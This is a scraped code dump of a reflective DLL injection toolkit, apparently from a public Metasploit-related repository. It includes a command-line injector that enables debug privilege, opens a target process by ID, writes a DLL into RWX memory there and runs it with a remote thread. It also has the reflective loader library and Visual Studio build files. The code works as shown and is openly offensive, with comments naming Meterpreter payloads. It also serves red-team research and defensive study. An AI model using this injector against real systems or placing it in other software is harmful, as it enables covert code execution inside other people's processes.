// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"
#pragma comment(lib,"Advapi32.lib")
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
DWORD dwProcessId = 0;
TOKEN_PRIVILEGES priv = {0};
#ifdef _WIN64
char * cpDllFile = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
char * cpDllFile = "reflective_dll.dll";
#else WIN_ARM
char * cpDllFile = "reflective_dll.arm.dll";
#endif
#endif
do
{
// Usage: inject.exe [pid] [dll_file]
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
} while( 0 );
if( lpBuffer )
HeapFree( GetProcessHeap(), 0, lpBuffer );
if( hProcess )
CloseHandle( hProcess );
return 0;
}
@@ -0,0 +1,233 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwMeterpreterArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwMeterpreterArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwMeterpreterArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( dwReflectiveLoaderOffset != 0 )
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
// call the loaded librarys DllMain to get its HMODULE
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hThread = NULL;
}
return hThread;
}
//===============================================================================================//
@@ -0,0 +1,41 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//
@@ -0,0 +1,256 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>inject</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+48
View File
@@ -0,0 +1,48 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "rdi\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM
